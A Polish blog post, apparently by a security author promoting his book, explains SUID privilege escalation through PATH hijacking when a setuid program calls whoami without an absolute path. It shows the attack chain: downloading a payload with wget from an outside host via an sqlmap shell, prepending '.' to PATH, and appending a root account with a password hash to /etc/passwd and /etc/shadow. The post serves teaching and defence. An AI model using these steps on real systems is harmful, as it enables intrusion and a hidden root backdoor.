Program ten, w celach demonstracyjnych, uruchamia polecenie whoami.
Kompilujemy nasz testowy program, a następnie nadajemy atrybut SUID:
[email protected]:~# gcc test_suid.c -o test_suid
[email protected]:~# cp test_suid /usr/bin/
[email protected]:~# chmod u+s /usr/bin/test_suid
[email protected]:~# ls -la /usr/bin/test_suid
-rwsr-xr-x 1 root root 8608 Jul 28 12:02 /usr/bin/test_suid
[email protected]:~# su mysql
[email protected]:/root$ /usr/bin/test_suid
root
Program uruchomiony z użytkownika mysql, wykonujący komendę whoami, zwraca root, właśnie z uwagi na nadany mu atrybut SUID.
Podatność w tym przypadku polega na niezastosowaniu ścieżki bezwzględnej (/usr/bin/whoami) do programu whoami. Najprościej taką podatność, szczególnie w niestandardowych aplikacjach, znajdziemy przy pomocy polecenia strings.
Jeśli przykładowo atakujący znalazłby na serwerze podatność SQL Injection, to przy pomocy programu sqlmap uzyskałby dostęp do powłoki, a następnie mógłby wykonać poniższe polecenia celem wykorzystania tej podatności:
os-shell> wget -q https://redteam.pl/download/az -O whoami
os-shell> chmod +x whoami
os-shell> PATH=.:$PATH
os-shell> /usr/bin/test_suid
os-shell> tail -1 /etc/passwd
command standard output: 'az:x:0:0::/root:/bin/bash'
W tym przypadku atak polega na dopisaniu do zmiennej $PATH dodatkowej ścieżki – aktualnego katalogu. W wyniku czego przy próbie uruchomienia programu w pierwszej kolejności będzie on wyszukiwany w aktualnym katalogu, a dopiero później w pozostałych:
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ PATH=.:$PATH
$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Podatna aplikacja test_suid z atrybutem SUID uruchamia polecenie whoami bez ścieżki bezwzględnej. W wyniku dopisania aktualnego katalogu do $PATH, a następnie pobraniu do tego katalogu własnego programu o nazwie whoami, po uruchomieniu podatnej aplikacji, następuje wykonanie złośliwego programu z uprawieniami użytkownika root.
Takim programem, który posłuży do wykorzystania podatności, może być przykładowo w języku C (nie może być w języku skryptowym – na wszystkich interpretowanych plikach wykonywalnych SUID oraz SGID będą ignorowane):
Następstwem czego będzie dodanie użytkownika az o uprawieniach użytkownika root, przez wykonanie poleceń:
echo 'az:x:0:0::/root:/bin/bash' >> /etc/passwd
echo 'az:$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0:16514:0:99999:7:::' >> /etc/shadow
Hasło użyte w powyższym programie zostało wygenerowane przy pomocy polecenia:
$ openssl passwd -1 -salt qn9q54Bd adamziaja
$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0
| „Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux” Adam Ziaja, Wydawnictwo Naukowe PWN |
Powyższy atak jak również inne techniki przedstawiłem w mojej książce, więcej informacji znajduje się pod adresem https://adamziaja.com/book/.
No comments:
Post a Comment